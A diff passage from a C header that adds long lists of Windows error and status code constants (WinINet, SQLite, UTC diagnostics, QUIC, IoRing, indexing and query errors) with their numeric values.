+#define HSP_BASE_ERROR_MASK -2128019200 +#define HSP_BASE_INTERNAL_ERROR -2128018945 +#define HSP_KSP_ERROR_MASK -2128018944 +#define HSP_KSP_DEVICE_NOT_READY -2128018943 +#define HSP_KSP_INVALID_PROVIDER_HANDLE -2128018942 +#define HSP_KSP_INVALID_KEY_HANDLE -2128018941 +#define HSP_KSP_INVALID_PARAMETER -2128018940 +#define HSP_KSP_BUFFER_TOO_SMALL -2128018939 +#define HSP_KSP_NOT_SUPPORTED -2128018938 +#define HSP_KSP_INVALID_DATA -2128018937 +#define HSP_KSP_INVALID_FLAGS -2128018936 +#define HSP_KSP_ALGORITHM_NOT_SUPPORTED -2128018935 +#define HSP_KSP_KEY_ALREADY_FINALIZED -2128018934 +#define HSP_KSP_KEY_NOT_FINALIZED -2128018933 +#define HSP_KSP_INVALID_KEY_TYPE -2128018932 +#define HSP_KSP_NO_MEMORY -2128018928 +#define HSP_KSP_PARAMETER_NOT_SET -2128018927 +#define HSP_KSP_KEY_EXISTS -2128018923 +#define HSP_KSP_KEY_MISSING -2128018922 +#define HSP_KSP_KEY_LOAD_FAIL -2128018921 +#define HSP_KSP_NO_MORE_ITEMS -2128018920 +#define HSP_KSP_INTERNAL_ERROR -2128018689 +#define ERROR_IO_PREEMPTED -1996423167 +#define JSCRIPT_E_CANTEXECUTE -1996357631 +#define WEP_E_NOT_PROVISIONED_ON_ALL_VOLUMES -2013200383 +#define WEP_E_FIXED_DATA_NOT_SUPPORTED -2013200382 +#define WEP_E_HARDWARE_NOT_COMPLIANT -2013200381 +#define WEP_E_LOCK_NOT_CONFIGURED -2013200380 +#define WEP_E_PROTECTION_SUSPENDED -2013200379 +#define WEP_E_NO_LICENSE -2013200378 +#define WEP_E_OS_NOT_PROTECTED -2013200377 +#define WEP_E_UNEXPECTED_FAIL -2013200376 +#define WEP_E_BUFFER_TOO_LARGE -2013200375 +#define ERROR_SVHDX_ERROR_STORED -1067712512 +#define ERROR_SVHDX_ERROR_NOT_AVAILABLE -1067647232 +#define ERROR_SVHDX_UNIT_ATTENTION_AVAILABLE -1067647231 +#define ERROR_SVHDX_UNIT_ATTENTION_CAPACITY_DATA_CHANGED -1067647230 +#define ERROR_SVHDX_UNIT_ATTENTION_RESERVATIONS_PREEMPTED -1067647229 +#define ERROR_SVHDX_UNIT_ATTENTION_RESERVATIONS_RELEASED -1067647228 +#define ERROR_SVHDX_UNIT_ATTENTION_REGISTRATIONS_PREEMPTED -1067647227 +#define ERROR_SVHDX_UNIT_ATTENTION_OPERATING_DEFINITION_CHANGED -1067647226 +#define ERROR_SVHDX_RESERVATION_CONFLICT -1067647225 +#define ERROR_SVHDX_WRONG_FILE_TYPE -1067647224 +#define ERROR_SVHDX_VERSION_MISMATCH -1067647223 +#define ERROR_VHD_SHARED -1067647222 +#define ERROR_SVHDX_NO_INITIATOR -1067647221 +#define ERROR_VHDSET_BACKING_STORAGE_NOT_FOUND -1067647220 +#define ERROR_SMB_NO_PREAUTH_INTEGRITY_HASH_OVERLAP -1067646976 +#define ERROR_SMB_BAD_CLUSTER_DIALECT -1067646975 +#define ERROR_SMB_NO_SIGNING_ALGORITHM_OVERLAP -1067646974 +#define ERROR_SMB_GUEST_LOGON_BLOCKED_SIGNING_REQUIRED -1067646973 +#define ERROR_SMB_GUEST_ENCRYPTION_NOT_SUPPORTED -1067646972 +#define ERROR_SMB_ENCRYPTION_NOT_SUPPORTED_BY_PEER -1067646971 +#define ERROR_SMB_CERT_NO_PRIVATE_KEY -1067646970 +#define ERROR_SMB_TLS_ACCESS_DENIED -1067646969 +#define WININET_E_OUT_OF_HANDLES -2147012895 +#define WININET_E_TIMEOUT -2147012894 +#define WININET_E_EXTENDED_ERROR -2147012893 +#define WININET_E_INTERNAL_ERROR -2147012892 +#define WININET_E_INVALID_URL -2147012891 +#define WININET_E_UNRECOGNIZED_SCHEME -2147012890 +#define WININET_E_NAME_NOT_RESOLVED -2147012889 +#define WININET_E_PROTOCOL_NOT_FOUND -2147012888 +#define WININET_E_INVALID_OPTION -2147012887 +#define WININET_E_BAD_OPTION_LENGTH -2147012886 +#define WININET_E_OPTION_NOT_SETTABLE -2147012885 +#define WININET_E_SHUTDOWN -2147012884 +#define WININET_E_INCORRECT_USER_NAME -2147012883 +#define WININET_E_INCORRECT_PASSWORD -2147012882 +#define WININET_E_LOGIN_FAILURE -2147012881 +#define WININET_E_INVALID_OPERATION -2147012880 +#define WININET_E_OPERATION_CANCELLED -2147012879 +#define WININET_E_INCORRECT_HANDLE_TYPE -2147012878 +#define WININET_E_INCORRECT_HANDLE_STATE -2147012877 +#define WININET_E_NOT_PROXY_REQUEST -2147012876 +#define WININET_E_REGISTRY_VALUE_NOT_FOUND -2147012875 +#define WININET_E_BAD_REGISTRY_PARAMETER -2147012874 +#define WININET_E_NO_DIRECT_ACCESS -2147012873 +#define WININET_E_NO_CONTEXT -2147012872 +#define WININET_E_NO_CALLBACK -2147012871 +#define WININET_E_REQUEST_PENDING -2147012870 +#define WININET_E_INCORRECT_FORMAT -2147012869 +#define WININET_E_ITEM_NOT_FOUND -2147012868 +#define WININET_E_CANNOT_CONNECT -2147012867 +#define WININET_E_CONNECTION_ABORTED -2147012866 +#define WININET_E_CONNECTION_RESET -2147012865 +#define WININET_E_FORCE_RETRY -2147012864 +#define WININET_E_INVALID_PROXY_REQUEST -2147012863 +#define WININET_E_NEED_UI -2147012862 +#define WININET_E_HANDLE_EXISTS -2147012860 +#define WININET_E_SEC_CERT_DATE_INVALID -2147012859 +#define WININET_E_SEC_CERT_CN_INVALID -2147012858 +#define WININET_E_HTTP_TO_HTTPS_ON_REDIR -2147012857 +#define WININET_E_HTTPS_TO_HTTP_ON_REDIR -2147012856 +#define WININET_E_MIXED_SECURITY -2147012855 +#define WININET_E_CHG_POST_IS_NON_SECURE -2147012854 +#define WININET_E_POST_IS_NON_SECURE -2147012853 +#define WININET_E_CLIENT_AUTH_CERT_NEEDED -2147012852 +#define WININET_E_INVALID_CA -2147012851 +#define WININET_E_CLIENT_AUTH_NOT_SETUP -2147012850 +#define WININET_E_ASYNC_THREAD_FAILED -2147012849 +#define WININET_E_REDIRECT_SCHEME_CHANGE -2147012848 +#define WININET_E_DIALOG_PENDING -2147012847 +#define WININET_E_RETRY_DIALOG -2147012846 +#define WININET_E_NO_NEW_CONTAINERS -2147012845 +#define WININET_E_HTTPS_HTTP_SUBMIT_REDIR -2147012844 +#define WININET_E_SEC_CERT_ERRORS -2147012841 +#define WININET_E_SEC_CERT_REV_FAILED -2147012839 +#define WININET_E_HEADER_NOT_FOUND -2147012746 +#define WININET_E_DOWNLEVEL_SERVER -2147012745 +#define WININET_E_INVALID_SERVER_RESPONSE -2147012744 +#define WININET_E_INVALID_HEADER -2147012743 +#define WININET_E_INVALID_QUERY_REQUEST -2147012742 +#define WININET_E_HEADER_ALREADY_EXISTS -2147012741 +#define WININET_E_REDIRECT_FAILED -2147012740 +#define WININET_E_SECURITY_CHANNEL_ERROR -2147012739 +#define WININET_E_UNABLE_TO_CACHE_FILE -2147012738 +#define WININET_E_TCPIP_NOT_INSTALLED -2147012737 +#define WININET_E_DISCONNECTED -2147012733 +#define WININET_E_SERVER_UNREACHABLE -2147012732 +#define WININET_E_PROXY_SERVER_UNREACHABLE -2147012731 +#define WININET_E_BAD_AUTO_PROXY_SCRIPT -2147012730 +#define WININET_E_UNABLE_TO_DOWNLOAD_SCRIPT -2147012729 +#define WININET_E_SEC_INVALID_CERT -2147012727 +#define WININET_E_SEC_CERT_REVOKED -2147012726 +#define WININET_E_FAILED_DUETOSECURITYCHECK -2147012725 +#define WININET_E_NOT_INITIALIZED -2147012724 +#define WININET_E_LOGIN_FAILURE_DISPLAY_ENTITY_BODY -2147012722 +#define WININET_E_DECODING_FAILED -2147012721 +#define WININET_E_NOT_REDIRECTED -2147012736 +#define WININET_E_COOKIE_NEEDS_CONFIRMATION -2147012735 +#define WININET_E_COOKIE_DECLINED -2147012734 +#define WININET_E_REDIRECT_NEEDS_CONFIRMATION -2147012728 +#define SQLITE_E_ERROR -2018574335 +#define SQLITE_E_INTERNAL -2018574334 +#define SQLITE_E_PERM -2018574333 +#define SQLITE_E_ABORT -2018574332 +#define SQLITE_E_BUSY -2018574331 +#define SQLITE_E_LOCKED -2018574330 +#define SQLITE_E_NOMEM -2018574329 +#define SQLITE_E_READONLY -2018574328 +#define SQLITE_E_INTERRUPT -2018574327 +#define SQLITE_E_IOERR -2018574326 +#define SQLITE_E_CORRUPT -2018574325 +#define SQLITE_E_NOTFOUND -2018574324 +#define SQLITE_E_FULL -2018574323 +#define SQLITE_E_CANTOPEN -2018574322 +#define SQLITE_E_PROTOCOL -2018574321 +#define SQLITE_E_EMPTY -2018574320 +#define SQLITE_E_SCHEMA -2018574319 +#define SQLITE_E_TOOBIG -2018574318 +#define SQLITE_E_CONSTRAINT -2018574317 +#define SQLITE_E_MISMATCH -2018574316 +#define SQLITE_E_MISUSE -2018574315 +#define SQLITE_E_NOLFS -2018574314 +#define SQLITE_E_AUTH -2018574313 +#define SQLITE_E_FORMAT -2018574312 +#define SQLITE_E_RANGE -2018574311 +#define SQLITE_E_NOTADB -2018574310 +#define SQLITE_E_NOTICE -2018574309 +#define SQLITE_E_WARNING -2018574308 +#define SQLITE_E_ROW -2018574236 +#define SQLITE_E_DONE -2018574235 +#define SQLITE_E_IOERR_READ -2018574070 +#define SQLITE_E_IOERR_SHORT_READ -2018573814 +#define SQLITE_E_IOERR_WRITE -2018573558 +#define SQLITE_E_IOERR_FSYNC -2018573302 +#define SQLITE_E_IOERR_DIR_FSYNC -2018573046 +#define SQLITE_E_IOERR_TRUNCATE -2018572790 +#define SQLITE_E_IOERR_FSTAT -2018572534 +#define SQLITE_E_IOERR_UNLOCK -2018572278 +#define SQLITE_E_IOERR_RDLOCK -2018572022 +#define SQLITE_E_IOERR_DELETE -2018571766 +#define SQLITE_E_IOERR_BLOCKED -2018571510 +#define SQLITE_E_IOERR_NOMEM -2018571254 +#define SQLITE_E_IOERR_ACCESS -2018570998 +#define SQLITE_E_IOERR_CHECKRESERVEDLOCK -2018570742 +#define SQLITE_E_IOERR_LOCK -2018570486 +#define SQLITE_E_IOERR_CLOSE -2018570230 +#define SQLITE_E_IOERR_DIR_CLOSE -2018569974 +#define SQLITE_E_IOERR_SHMOPEN -2018569718 +#define SQLITE_E_IOERR_SHMSIZE -2018569462 +#define SQLITE_E_IOERR_SHMLOCK -2018569206 +#define SQLITE_E_IOERR_SHMMAP -2018568950 +#define SQLITE_E_IOERR_SEEK -2018568694 +#define SQLITE_E_IOERR_DELETE_NOENT -2018568438 +#define SQLITE_E_IOERR_MMAP -2018568182 +#define SQLITE_E_IOERR_GETTEMPPATH -2018567926 +#define SQLITE_E_IOERR_CONVPATH -2018567670 +#define SQLITE_E_IOERR_VNODE -2018567414 +#define SQLITE_E_IOERR_AUTH -2018567158 +#define SQLITE_E_IOERR_BEGIN_ATOMIC -2018566902 +#define SQLITE_E_IOERR_COMMIT_ATOMIC -2018566646 +#define SQLITE_E_IOERR_ROLLBACK_ATOMIC -2018566390 +#define SQLITE_E_IOERR_DATA -2018566134 +#define SQLITE_E_IOERR_CORRUPTFS -2018565878 +#define SQLITE_E_IOERR_IN_PAGE -2018565622 +#define SQLITE_E_LOCKED_SHAREDCACHE -2018574074 +#define SQLITE_E_LOCKED_VTAB -2018573818 +#define SQLITE_E_BUSY_RECOVERY -2018574075 +#define SQLITE_E_BUSY_SNAPSHOT -2018573819 +#define SQLITE_E_BUSY_TIMEOUT -2018573563 +#define SQLITE_E_CANTOPEN_NOTEMPDIR -2018574066 +#define SQLITE_E_CANTOPEN_ISDIR -2018573810 +#define SQLITE_E_CANTOPEN_FULLPATH -2018573554 +#define SQLITE_E_CANTOPEN_CONVPATH -2018573298 +#define SQLITE_E_CANTOPEN_DIRTYWAL -2018573042 +#define SQLITE_E_CANTOPEN_SYMLINK -2018572786 +#define SQLITE_E_CORRUPT_VTAB -2018574069 +#define SQLITE_E_CORRUPT_SEQUENCE -2018573813 +#define SQLITE_E_CORRUPT_INDEX -2018573557 +#define SQLITE_E_READONLY_RECOVERY -2018574072 +#define SQLITE_E_READONLY_CANTLOCK -2018573816 +#define SQLITE_E_READONLY_ROLLBACK -2018573560 +#define SQLITE_E_READONLY_DBMOVED -2018573304 +#define SQLITE_E_READONLY_CANTINIT -2018573048 +#define SQLITE_E_READONLY_DIRECTORY -2018572792 +#define SQLITE_E_ABORT_ROLLBACK -2018573820 +#define SQLITE_E_CONSTRAINT_CHECK -2018574061 +#define SQLITE_E_CONSTRAINT_COMMITHOOK -2018573805 +#define SQLITE_E_CONSTRAINT_FOREIGNKEY -2018573549 +#define SQLITE_E_CONSTRAINT_FUNCTION -2018573293 +#define SQLITE_E_CONSTRAINT_NOTNULL -2018573037 +#define SQLITE_E_CONSTRAINT_PRIMARYKEY -2018572781 +#define SQLITE_E_CONSTRAINT_TRIGGER -2018572525 +#define SQLITE_E_CONSTRAINT_UNIQUE -2018572269 +#define SQLITE_E_CONSTRAINT_VTAB -2018572013 +#define SQLITE_E_CONSTRAINT_ROWID -2018571757 +#define SQLITE_E_CONSTRAINT_PINNED -2018571501 +#define SQLITE_E_CONSTRAINT_DATATYPE -2018571245 +#define SQLITE_E_NOTICE_RECOVER_WAL -2018574053 +#define SQLITE_E_NOTICE_RECOVER_ROLLBACK -2018573797 +#define SQLITE_E_NOTICE_RECOVER_RBU -2018573541 +#define SQLITE_E_WARNING_AUTOINDEX -2018574052 +#define SQLITE_E_AUTH_USER -2018574057 +#define UTC_E_TOGGLE_TRACE_STARTED -2017128447 +#define UTC_E_ALTERNATIVE_TRACE_CANNOT_PREEMPT -2017128446 +#define UTC_E_AOT_NOT_RUNNING -2017128445 +#define UTC_E_SCRIPT_TYPE_INVALID -2017128444 +#define UTC_E_SCENARIODEF_NOT_FOUND -2017128443 +#define UTC_E_TRACEPROFILE_NOT_FOUND -2017128442 +#define UTC_E_FORWARDER_ALREADY_ENABLED -2017128441 +#define UTC_E_FORWARDER_ALREADY_DISABLED -2017128440 +#define UTC_E_EVENTLOG_ENTRY_MALFORMED -2017128439 +#define UTC_E_DIAGRULES_SCHEMAVERSION_MISMATCH -2017128438 +#define UTC_E_SCRIPT_TERMINATED -2017128437 +#define UTC_E_INVALID_CUSTOM_FILTER -2017128436 +#define UTC_E_TRACE_NOT_RUNNING -2017128435 +#define UTC_E_REESCALATED_TOO_QUICKLY -2017128434 +#define UTC_E_ESCALATION_ALREADY_RUNNING -2017128433 +#define UTC_E_PERFTRACK_ALREADY_TRACING -2017128432 +#define UTC_E_REACHED_MAX_ESCALATIONS -2017128431 +#define UTC_E_FORWARDER_PRODUCER_MISMATCH -2017128430 +#define UTC_E_INTENTIONAL_SCRIPT_FAILURE -2017128429 +#define UTC_E_SQM_INIT_FAILED -2017128428 +#define UTC_E_NO_WER_LOGGER_SUPPORTED -2017128427 +#define UTC_E_TRACERS_DONT_EXIST -2017128426 +#define UTC_E_WINRT_INIT_FAILED -2017128425 +#define UTC_E_SCENARIODEF_SCHEMAVERSION_MISMATCH -2017128424 +#define UTC_E_INVALID_FILTER -2017128423 +#define UTC_E_EXE_TERMINATED -2017128422 +#define UTC_E_ESCALATION_NOT_AUTHORIZED -2017128421 +#define UTC_E_SETUP_NOT_AUTHORIZED -2017128420 +#define UTC_E_CHILD_PROCESS_FAILED -2017128419 +#define UTC_E_COMMAND_LINE_NOT_AUTHORIZED -2017128418 +#define UTC_E_CANNOT_LOAD_SCENARIO_EDITOR_XML -2017128417 +#define UTC_E_ESCALATION_TIMED_OUT -2017128416 +#define UTC_E_SETUP_TIMED_OUT -2017128415 +#define UTC_E_TRIGGER_MISMATCH -2017128414 +#define UTC_E_TRIGGER_NOT_FOUND -2017128413 +#define UTC_E_SIF_NOT_SUPPORTED -2017128412 +#define UTC_E_DELAY_TERMINATED -2017128411 +#define UTC_E_DEVICE_TICKET_ERROR -2017128410 +#define UTC_E_TRACE_BUFFER_LIMIT_EXCEEDED -2017128409 +#define UTC_E_API_RESULT_UNAVAILABLE -2017128408 +#define UTC_E_RPC_TIMEOUT -2017128407 +#define UTC_E_RPC_WAIT_FAILED -2017128406 +#define UTC_E_API_BUSY -2017128405 +#define UTC_E_TRACE_MIN_DURATION_REQUIREMENT_NOT_MET -2017128404 +#define UTC_E_EXCLUSIVITY_NOT_AVAILABLE -2017128403 +#define UTC_E_GETFILE_FILE_PATH_NOT_APPROVED -2017128402 +#define UTC_E_ESCALATION_DIRECTORY_ALREADY_EXISTS -2017128401 +#define UTC_E_TIME_TRIGGER_ON_START_INVALID -2017128400 +#define UTC_E_TIME_TRIGGER_ONLY_VALID_ON_SINGLE_TRANSITION -2017128399 +#define UTC_E_TIME_TRIGGER_INVALID_TIME_RANGE -2017128398 +#define UTC_E_MULTIPLE_TIME_TRIGGER_ON_SINGLE_STATE -2017128397 +#define UTC_E_BINARY_MISSING -2017128396 +#define UTC_E_FAILED_TO_RESOLVE_CONTAINER_ID -2017128394 +#define UTC_E_UNABLE_TO_RESOLVE_SESSION -2017128393 +#define UTC_E_THROTTLED -2017128392 +#define UTC_E_UNAPPROVED_SCRIPT -2017128391 +#define UTC_E_SCRIPT_MISSING -2017128390 +#define UTC_E_SCENARIO_THROTTLED -2017128389 +#define UTC_E_API_NOT_SUPPORTED -2017128388 +#define UTC_E_GETFILE_EXTERNAL_PATH_NOT_APPROVED -2017128387 +#define UTC_E_TRY_GET_SCENARIO_TIMEOUT_EXCEEDED -2017128386 +#define UTC_E_CERT_REV_FAILED -2017128385 +#define UTC_E_FAILED_TO_START_NDISCAP -2017128384 +#define UTC_E_KERNELDUMP_LIMIT_REACHED -2017128383 +#define UTC_E_MISSING_AGGREGATE_EVENT_TAG -2017128382 +#define UTC_E_INVALID_AGGREGATION_STRUCT -2017128381 +#define UTC_E_ACTION_NOT_SUPPORTED_IN_DESTINATION -2017128380 +#define UTC_E_FILTER_MISSING_ATTRIBUTE -2017128379 +#define UTC_E_FILTER_INVALID_TYPE -2017128378 +#define UTC_E_FILTER_VARIABLE_NOT_FOUND -2017128377 +#define UTC_E_FILTER_FUNCTION_RESTRICTED -2017128376 +#define UTC_E_FILTER_VERSION_MISMATCH -2017128375 +#define UTC_E_FILTER_INVALID_FUNCTION -2017128368 +#define UTC_E_FILTER_INVALID_FUNCTION_PARAMS -2017128367 +#define UTC_E_FILTER_INVALID_COMMAND -2017128366 +#define UTC_E_FILTER_ILLEGAL_EVAL -2017128365 +#define UTC_E_TTTRACER_RETURNED_ERROR -2017128364 +#define UTC_E_AGENT_DIAGNOSTICS_TOO_LARGE -2017128363 +#define UTC_E_FAILED_TO_RECEIVE_AGENT_DIAGNOSTICS -2017128362 +#define UTC_E_SCENARIO_HAS_NO_ACTIONS -2017128361 +#define UTC_E_TTTRACER_STORAGE_FULL -2017128360 +#define UTC_E_INSUFFICIENT_SPACE_TO_START_TRACE -2017128359 +#define UTC_E_ESCALATION_CANCELLED_AT_SHUTDOWN -2017128358 +#define UTC_E_GETFILEINFOACTION_FILE_NOT_APPROVED -2017128357 +#define UTC_E_SETREGKEYACTION_TYPE_NOT_APPROVED -2017128356 +#define UTC_E_TRACE_THROTTLED -2017128355 +#define WINML_ERR_INVALID_DEVICE -2003828735 +#define WINML_ERR_INVALID_BINDING -2003828734 +#define WINML_ERR_VALUE_NOTFOUND -2003828733 +#define WINML_ERR_SIZE_MISMATCH -2003828732 +#define ERROR_QUIC_HANDSHAKE_FAILURE -2143223808 +#define ERROR_QUIC_VER_NEG_FAILURE -2143223807 +#define ERROR_QUIC_USER_CANCELED -2143223806 +#define ERROR_QUIC_INTERNAL_ERROR -2143223805 +#define ERROR_QUIC_PROTOCOL_VIOLATION -2143223804 +#define ERROR_QUIC_CONNECTION_IDLE -2143223803 +#define ERROR_QUIC_CONNECTION_TIMEOUT -2143223802 +#define ERROR_QUIC_ALPN_NEG_FAILURE -2143223801 +#define ERROR_QUIC_STREAM_LIMIT_REACHED -2143223800 +#define ERROR_QUIC_ALPN_IN_USE -2143223799 +#define ERROR_QUIC_TLS_UNEXPECTED_MESSAGE -2143223542 +#define ERROR_QUIC_TLS_BAD_CERTIFICATE -2143223510 +#define ERROR_QUIC_TLS_UNSUPPORTED_CERTIFICATE -2143223509 +#define ERROR_QUIC_TLS_CERTIFICATE_REVOKED -2143223508 +#define ERROR_QUIC_TLS_CERTIFICATE_EXPIRED -2143223507 +#define ERROR_QUIC_TLS_CERTIFICATE_UNKNOWN -2143223506 +#define ERROR_QUIC_TLS_ILLEGAL_PARAMETER -2143223505 +#define ERROR_QUIC_TLS_UNKNOWN_CA -2143223504 +#define ERROR_QUIC_TLS_ACCESS_DENIED -2143223503 +#define ERROR_QUIC_TLS_INSUFFICIENT_SECURITY -2143223481 +#define ERROR_QUIC_TLS_INTERNAL_ERROR -2143223472 +#define ERROR_QUIC_TLS_USER_CANCELED -2143223462 +#define ERROR_QUIC_TLS_CERTIFICATE_REQUIRED -2143223436 +#define IORING_E_REQUIRED_FLAG_NOT_SUPPORTED -2142896127 +#define IORING_E_SUBMISSION_QUEUE_FULL -2142896126 +#define IORING_E_VERSION_NOT_SUPPORTED -2142896125 +#define IORING_E_SUBMISSION_QUEUE_TOO_BIG -2142896124 +#define IORING_E_COMPLETION_QUEUE_TOO_BIG -2142896123 +#define IORING_E_SUBMIT_IN_PROGRESS -2142896122 +#define IORING_E_CORRUPT -2142896121 +#define IORING_E_COMPLETION_QUEUE_TOO_FULL -2142896120 +#define UNIONFS_E_CANNOT_CROSS_UNION -1994063871 +#define UNIONFS_E_CANNOT_EXIT_UNION -1994063870 +#define UNIONFS_E_CANNOT_PRESERVE_LINK -1994063869 +#define UNIONFS_E_INVALID_TOMBSTONE_STATE -1994063868 +#define UNIONFS_E_LAYERS_PRESENT -1994063867 +#define UNIONFS_E_NESTED_LAYER -1994063866 +#define UNIONFS_E_UNION_DUPLICATE_ID -1994063865 +#define UNIONFS_E_INACTIVE_UNION -1994063864 +#define UNIONFS_E_TOO_MANY_LAYERS -1994063863 +#define UNIONFS_E_TOO_LATE -1994063862 +#define UNIONFS_E_NESTED_UNION -1994063861 +#define UNIONFS_E_NESTED_UNION_NOT_ALLOWED -1994063860 +#define ERROR_PRM_HANDLER_NOT_FOUND -920256000 +#define ERROR_PRM_CONCURRENT_OPERATION -920255998 +#define ERROR_PRM_MODULE_UPDATE_PENDING -920255997 +#define ERROR_PRM_MODULE_LOCKED -920255996 +#define ERROR_PRM_UPDATE_INCOMPATIBLE_VERSION -920255995 +#define ERROR_PRM_UPDATE_MODULE_MISMATCH -920255994 +#define ERROR_PRM_UPDATE_MODULE_NOT_FOUND -920255993 +#define ERROR_PRM_UPDATE_MISSING_EXPORT -920255992 +#define ERROR_PRM_UPDATE_MODULE_LOCKED -920255991 +#define ERROR_PRM_UPDATE_BAD_SIGNATURE -920255990 +#define ERROR_PRM_UPDATE_VERSION_MISMATCH -920255989 +#define ERROR_PRM_MODULE_UNLOCKED -920255988 +#define ERROR_PRM_INTERFACE_INACCESSIBLE -920255987 +#define ERROR_ACCELERATOR_SUBMISSION_QUEUE_FULL -920190976 +#define PPF_E_TRANSFORM_DIGEST_ALGO_NOT_SUPPORTED -920125440 +#define PPF_E_TRANSFORM_CONFLICT -920125439 +#define PPF_E_TRANSFORM_CLEANED_UP_NA -920125438 +#define PPF_E_TRANSFORM_CLEANED_UP_STATE_CHANGE -920125437 +#define PPF_E_TRANSFORM_DIGEST_ALGO_NOT_PRESENT -920125436 +#define RPC_X_ENUM_VALUE_TOO_LARGE 1781 +#define RPC_X_INVALID_PIPE_OPERATION 1831 +#define RPC_X_SS_CONTEXT_MISMATCH -1073545211 +#define RPC_X_NO_MEMORY -1073741801 +#define RPC_X_INVALID_BOUND -1073610717 +#define RPC_X_INVALID_TAG -1073610718 +#define RPC_X_INVALID_BUFFER -1073741306 +#define RPC_X_PIPE_APP_MEMORY -1073741801 +#define STATUS_SEVERITY_COERROR 0x2 +#define STATUS_SEVERITY_COFAIL 0x3 +#define NOT_AN_ERROR1 529920 +#define QUERY_E_FAILED -2147215872 +#define QUERY_E_INVALIDQUERY -2147215871 +#define QUERY_E_INVALIDRESTRICTION -2147215870 +#define QUERY_E_INVALIDSORT -2147215869 +#define QUERY_E_INVALIDCATEGORIZE -2147215868 +#define QUERY_E_ALLNOISE -2147215867 +#define QUERY_E_TOOCOMPLEX -2147215866 +#define QUERY_E_TIMEDOUT -2147215865 +#define QUERY_E_DUPLICATE_OUTPUT_COLUMN -2147215864 +#define QUERY_E_INVALID_OUTPUT_COLUMN -2147215863 +#define QUERY_E_INVALID_DIRECTORY -2147215862 +#define QUERY_E_DIR_ON_REMOVABLE_DRIVE -2147215861 +#define QUERY_S_NO_QUERY -2147215860 +#define QPLIST_E_CANT_OPEN_FILE -2147215791 +#define QPLIST_E_READ_ERROR -2147215790 +#define QPLIST_E_EXPECTING_NAME -2147215789 +#define QPLIST_E_EXPECTING_TYPE -2147215788 +#define QPLIST_E_UNRECOGNIZED_TYPE -2147215787 +#define QPLIST_E_EXPECTING_INTEGER -2147215786 +#define QPLIST_E_EXPECTING_CLOSE_PAREN -2147215785 +#define QPLIST_E_EXPECTING_GUID -2147215784 +#define QPLIST_E_BAD_GUID -2147215783 +#define QPLIST_E_EXPECTING_PROP_SPEC -2147215782 +#define QPLIST_E_CANT_SET_PROPERTY -2147215781 +#define QPLIST_E_DUPLICATE -2147215780 +#define QPLIST_E_VECTORBYREF_USED_ALONE -2147215779 +#define QPLIST_E_BYREF_USED_WITHOUT_PTRTYPE -2147215778 +#define QPARSE_E_UNEXPECTED_NOT -2147215776 +#define QPARSE_E_EXPECTING_INTEGER -2147215775 +#define QPARSE_E_EXPECTING_REAL -2147215774 +#define QPARSE_E_EXPECTING_DATE -2147215773 +#define QPARSE_E_EXPECTING_CURRENCY -2147215772 +#define QPARSE_E_EXPECTING_GUID -2147215771 +#define QPARSE_E_EXPECTING_BRACE -2147215770 +#define QPARSE_E_EXPECTING_PAREN -2147215769 +#define QPARSE_E_EXPECTING_PROPERTY -2147215768 +#define QPARSE_E_NOT_YET_IMPLEMENTED -2147215767 +#define QPARSE_E_EXPECTING_PHRASE -2147215766 +#define QPARSE_E_UNSUPPORTED_PROPERTY_TYPE -2147215765 +#define QPARSE_E_EXPECTING_REGEX -2147215764 +#define QPARSE_E_EXPECTING_REGEX_PROPERTY -2147215763 +#define QPARSE_E_INVALID_LITERAL -2147215762 +#define QPARSE_E_NO_SUCH_PROPERTY -2147215761 +#define QPARSE_E_EXPECTING_EOS -2147215760 +#define QPARSE_E_EXPECTING_COMMA -2147215759 +#define QPARSE_E_UNEXPECTED_EOS -2147215758 +#define QPARSE_E_WEIGHT_OUT_OF_RANGE -2147215757 +#define QPARSE_E_NO_SUCH_SORT_PROPERTY -2147215756 +#define QPARSE_E_INVALID_SORT_ORDER -2147215755 +#define QUTIL_E_CANT_CONVERT_VROOT -2147215754 +#define QPARSE_E_INVALID_GROUPING -2147215753 +#define QUTIL_E_INVALID_CODEPAGE -1073473928 +#define QPLIST_S_DUPLICATE 267897 +#define QPARSE_E_INVALID_QUERY -2147215750 +#define QPARSE_E_INVALID_RANKMETHOD -2147215749 +#define FDAEMON_W_WORDLISTFULL 267904 +#define FDAEMON_E_LOWRESOURCE -2147215743 +#define FDAEMON_E_FATALERROR -2147215742 +#define FDAEMON_E_PARTITIONDELETED -2147215741 +#define FDAEMON_E_CHANGEUPDATEFAILED -2147215740 +#define FDAEMON_W_EMPTYWORDLIST 267909 +#define FDAEMON_E_WORDLISTCOMMITFAILED -2147215738 +#define FDAEMON_E_NOWORDLIST -2147215737 +#define FDAEMON_E_TOOMANYFILTEREDBLOCKS -2147215736 +#define SEARCH_S_NOMOREHITS 267936 +#define SEARCH_E_NOMONIKER -2147215711 +#define SEARCH_E_NOREGION -2147215710 +#define FILTER_E_TOO_BIG -2147215568 +#define FILTER_S_PARTIAL_CONTENTSCAN_IMMEDIATE 268081 +#define FILTER_S_FULL_CONTENTSCAN_IMMEDIATE 268082 +#define FILTER_S_CONTENTSCAN_DELAYED 268083 +#define FILTER_E_CONTENTINDEXCORRUPT -1073473740 +#define FILTER_S_DISK_FULL 268085 +#define FILTER_E_ALREADY_OPEN -2147215562 +#define FILTER_E_UNREACHABLE -2147215561 +#define FILTER_E_IN_USE -2147215560 +#define FILTER_E_NOT_OPEN -2147215559 +#define FILTER_S_NO_PROPSETS 268090 +#define FILTER_E_NO_SUCH_PROPERTY -2147215557 +#define FILTER_S_NO_SECURITY_DESCRIPTOR 268092 +#define FILTER_E_OFFLINE -2147215555 +#define FILTER_E_PARTIALLY_FILTERED -2147215554 +#define WBREAK_E_END_OF_TEXT -2147215488 +#define LANGUAGE_S_LARGE_WORD 268161 +#define WBREAK_E_QUERY_ONLY -2147215486 +#define WBREAK_E_BUFFER_TOO_SMALL -2147215485 +#define LANGUAGE_E_DATABASE_NOT_FOUND -2147215484 +#define WBREAK_E_INIT_FAILED -2147215483 +#define PSINK_E_QUERY_ONLY -2147215472 +#define PSINK_E_INDEX_ONLY -2147215471 +#define PSINK_E_LARGE_ATTACHMENT -2147215470 +#define PSINK_S_LARGE_WORD 268179 +#define CI_CORRUPT_DATABASE -1073473536 +#define CI_CORRUPT_CATALOG -1073473535 +#define CI_INVALID_PARTITION -1073473534 +#define CI_INVALID_PRIORITY -1073473533 +#define CI_NO_STARTING_KEY -1073473532 +#define CI_OUT_OF_INDEX_IDS -1073473531 +#define CI_NO_CATALOG -1073473530 +#define CI_CORRUPT_FILTER_BUFFER -1073473529 +#define CI_INVALID_INDEX -1073473528 +#define 